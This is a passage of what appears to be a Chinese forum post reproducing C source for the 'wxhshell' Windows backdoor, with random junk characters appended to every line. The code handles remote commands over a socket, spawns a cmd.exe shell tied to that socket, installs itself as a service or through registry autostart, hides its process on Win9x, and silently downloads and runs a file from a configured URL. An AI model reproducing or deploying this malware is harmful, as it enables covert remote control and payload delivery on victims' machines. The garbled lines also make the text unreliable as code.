  TcKvSdr'  
  // 帮助 @"{'j  
  case '?': { 5h|m4)$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gF,[u  
    break; !&a;P,_Fb  
  } \n*7# aX/  
  // 安装 #mRFUA  
  case 'i': { ,bVS.A'o  
    if(Install()) [UJEU~XC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y  KYP  
    else iIGI=EwZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W`Q$t56  
    break; ,u&tB|,W,  
    } QlRoe| {  
  // 卸载 X<Th{kM2  
  case 'r': { T}t E/  
    if(Uninstall()) o4/I1Mq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  z _O,Y  
    else 2 ]V>J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LmXF`Y$  
    break; xMNNXPz(  
    } vcw>v={x  
  // 显示 wxhshell 所在路径 +dCDM1{_a  
  case 'p': { (aJP: ^  
    char svExeFile[MAX_PATH]; :>P4L,Da]  
    strcpy(svExeFile,"\n\r"); 8Q^6ibE  
      strcat(svExeFile,ExeFile); *,W!FxJ  
        send(wsh,svExeFile,strlen(svExeFile),0); c/<Sa|'  
    break; $"sq4@N  
    } g= FDm*  
  // 重启 5@+4  
  case 'b': { =&q-[JW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FJ{,=@  
    if(Boot(REBOOT)) n^iNo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Np|'7D  
    else { W,HH *!  
    closesocket(wsh); g|K6iY  
    ExitThread(0); Z;GIlgK9  
    } 80?6I%UB<  
    break; .:{h{@a  
    } r=~WMDCz@  
  // 关机 4{;8:ax&w  
  case 'd': { %NT`C9][  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1p7cv~#95  
    if(Boot(SHUTDOWN)) K\IYx|Hm a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZ5O89  
    else { 8_a$kJJ2  
    closesocket(wsh); AV:Xg4UJv  
    ExitThread(0); %@}o'=[  
    } GOy=p3mQ  
    break; t."g\;  
    } #`jE%ONC  
  // 获取shell 9Fy\t{ks  
  case 's': { ""1#bs{n  
    CmdShell(wsh); bBUbw*DF)  
    closesocket(wsh); lAdDu  
    ExitThread(0); 1B)Y;hg6&  
    break; TL},Unq  
  } PIZ C;K4|  
  // 退出 &1z)fD2  
  case 'x': { oA4D\rn8"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $!YKZ0)B'0  
    CloseIt(wsh); 0'?V|V=v  
    break; vKNt$]pm=  
    } q2x|%H RF  
  // 离开 . i{>Z  
  case 'q': { AbUDn\0$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )7&42>t  
    closesocket(wsh); ~ X-)_zH  
    WSACleanup(); p?+lAbe6H  
    exit(1); Sa3I?+  
    break; B{7Kzwh;  
        } 1.# |QX  
  } x9&-(kBU  
  } ]\ CU9J|H8  
T4OguP=  
  // 提示信息 tg.|$n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ([:]T$0 #  
} t"<s}~  
  } I jZ]_*^!  
$_Y/'IN`k  
  return; -1qZqU$h  
} WnD^F>  
@S`$C  
// shell模块句柄 m7$8k@r  
int CmdShell(SOCKET sock) A2m_q>> !  
{ P^ptsZ%  
STARTUPINFO si; wL4Z W8_  
ZeroMemory(&si,sizeof(si)); 2R^O,Vu*W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s %eyW _  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0B=[80K;8  
PROCESS_INFORMATION ProcessInfo; w3^NL(>  
char cmdline[]="cmd"; 9YR]+*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P DRnW  
  return 0; T}C2e! _O  
} 7#QLtU  
OnZF6yfN=3  
// 自身启动模式 b,nn&B5@{  
int StartFromService(void) q5Fs)B  
{  )|v^9  
typedef struct kmryu=  
{ =EQJqj1T  
  DWORD ExitStatus; 3pvYi<<D'  
  DWORD PebBaseAddress; !X^Hi=aV  
  DWORD AffinityMask; :6XguU  
  DWORD BasePriority; KX!i\NHz  
  ULONG UniqueProcessId; 6gXIt9B.h$  
  ULONG InheritedFromUniqueProcessId; l0I}&,+  
}   PROCESS_BASIC_INFORMATION; vt//)*(.$  
ujU=JlJ7dl  
PROCNTQSIP NtQueryInformationProcess; g %f*ofb  
z9[[C^C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YRPm^kW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7 _`L$<-n  
J , V  
  HANDLE             hProcess; pgT9hle/  
  PROCESS_BASIC_INFORMATION pbi; t)` p@]j  
m9Ax\lf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OFA{ KZga  
  if(NULL == hInst ) return 0;  3P1&;  
~ |6dH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :M06 ;:e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (ab{F5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !BDUv(  
2K;#Evn'j  
  if (!NtQueryInformationProcess) return 0; 7c-Gm R2  
iZaeoy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "NDxgJ%J35  
  if(!hProcess) return 0; blGf!4H  
*I0Tbc O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J1bA2+5.*e  
$(ewk):  
  CloseHandle(hProcess); ^(ScgoXva  
;6ky5}z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P.djd$#  
if(hProcess==NULL) return 0; QdQ d(4/1  
f;gZ|a  
HMODULE hMod; 'Gjq/L/x  
char procName[255]; X APYpBgm  
unsigned long cbNeeded; ~4\,&HH  
VU|;:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wqra8u#  
oBA`|yW{U  
  CloseHandle(hProcess); D==Mb~  
K%MW6y  
if(strstr(procName,"services")) return 1; // 以服务启动 cq*=|m0}Z  
nU(DYHc+l  
  return 0; // 注册表启动 I^D0<lHl~  
} w1r$='*I  
'CXRG$D  
// 主模块 r [s!F=^  
int StartWxhshell(LPSTR lpCmdLine) p~2UUm V  
{ LvJGvj  
  SOCKET wsl; JQ@fuo %  
BOOL val=TRUE; [|[>}z:  
  int port=0; q]\X~ 9#  
  struct sockaddr_in door; SHD^}?-|  
. w H*sb  
  if(wscfg.ws_autoins) Install(); Y#FO5O%W  
+ E/y ~s  
port=atoi(lpCmdLine); Tr& }$kird  
*#y;8  
if(port<=0) port=wscfg.ws_port; JqCc;Cbd  
B6] <G-  
  WSADATA data; H2;X   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HSN8O@dy  
Q$ri=uB;+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >`'O7.R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e}0:"R%E  
  door.sin_family = AF_INET; >xu [q\:"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a{SBCy  
  door.sin_port = htons(port); B&Y_2)v  
Ue*C>F   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #eK=  
closesocket(wsl); ow6*Xr8eQ  
return 1; ]JE TeZ^/  
} Z{R[Wx  
|>2FRPK  
  if(listen(wsl,2) == INVALID_SOCKET) { %+-C3\'  
closesocket(wsl); {f/]5x(_  
return 1; w~Ff%p@9  
} 5Y\!pf7SQ|  
  Wxhshell(wsl); f[sF:f(zI  
  WSACleanup(); Kmz7c|  
DNkWOY#{  
return 0; eKN$jlg  
Bfr'Zdw  
} F7MzCZvu  
]XA4;7  
// 以NT服务方式启动 ,FZT~?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '9?;"=6(  
{ ]"~51HQZ  
DWORD   status = 0; X"q!Y#)  
  DWORD   specificError = 0xfffffff; dQb.BOI)h  
N ]N4^A'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Nt:9MG>1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LfLFu9#:w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;heHefbvvd  
  serviceStatus.dwWin32ExitCode     = 0; x;\wY'  
  serviceStatus.dwServiceSpecificExitCode = 0; 28andfl  
  serviceStatus.dwCheckPoint       = 0; gNpJ24QK  
  serviceStatus.dwWaitHint       = 0; fNu'((J-  
rw7_5l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AeuX Qt  
  if (hServiceStatusHandle==0) return; (08I  
,#]t$mzbQ(  
status = GetLastError(); x3p ND  
  if (status!=NO_ERROR) aqU' T  
{ =Gk/k}1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &~e$:8 +  
    serviceStatus.dwCheckPoint       = 0; 27F~(!n  
    serviceStatus.dwWaitHint       = 0; Yw; D:Y(  
    serviceStatus.dwWin32ExitCode     = status; 5 BtX63  
    serviceStatus.dwServiceSpecificExitCode = specificError; _-~`03 `!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zm ogM7B  
    return; sJ z@7.  
  } wJ<Oo@snm  
h*B|fy4K9U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !ZRs;UZ>o  
  serviceStatus.dwCheckPoint       = 0; o>/O++7Ra  
  serviceStatus.dwWaitHint       = 0; c`*TPqw(B[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,m=4@ofX  
} . lgPFr6X  
*Vw\'%p*  
// 处理NT服务事件,比如:启动、停止 8qEK+yi,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rli:x  
{ A@*:<Hs%  
switch(fdwControl) Xjio Z  
{ q .4A(,  
case SERVICE_CONTROL_STOP: x35cW7R}T_  
  serviceStatus.dwWin32ExitCode = 0; LPYbHo3fq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E\nv~Y?SG  
  serviceStatus.dwCheckPoint   = 0; X>YsQrK(ig  
  serviceStatus.dwWaitHint     = 0; 0c^>eq]  
  { X[gn+6WB%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L6Wt3U`l  
  } dsx]/49<  
  return; BvrB:%_:  
case SERVICE_CONTROL_PAUSE: fF vF\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CzCQFqXI  
  break; 6]zd.W  
case SERVICE_CONTROL_CONTINUE: =qy=-j]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4_v]O  
  break; YwY74w:  
case SERVICE_CONTROL_INTERROGATE: [+m?G4[  
  break; :,b iyJt  
}; {gNV[45  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >gwz,{  
} 5}$b0<em~  
;Vik5)D2D  
// 标准应用程序主函数 VQ5nq'{v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D?yG+%&9  
{ |t iUej  
&N~ZI*^  
// 获取操作系统版本 UO*Ymj 1  
OsIsNt=GetOsVer(); jn >d*9u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^.k |SK`U  
BBG3OAyg_  
  // 从命令行安装 Io4(f  
  if(strpbrk(lpCmdLine,"iI")) Install(); @yXfBML?]  
~=<}\a~  
  // 下载执行文件 rNjn~c  
if(wscfg.ws_downexe) { ZQ^r`W9_ +  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C98]9  
  WinExec(wscfg.ws_filenam,SW_HIDE); (/-hu[:  
} ae"]\a\&1o  
:c9U>1`g&  
if(!OsIsNt) { 6 5y+Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y{v(p7pl  
HideProc(); Hn>B!Bm*  
StartWxhshell(lpCmdLine); I1oje0$  
} #_Z$2L"U  
else 7QKr_  
  if(StartFromService()) / N) W2  
  // 以服务方式启动 @';B_iQ  
  StartServiceCtrlDispatcher(DispatchTable); b^D$jY  
else "H -"  
  // 普通方式启动 \<}&&SuH  
  StartWxhshell(lpCmdLine); f7h*Vu`>  
/!^&;$A'  
return 0; Hqnxq  
}
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只看该作者 1 发表于: 2006-10-10
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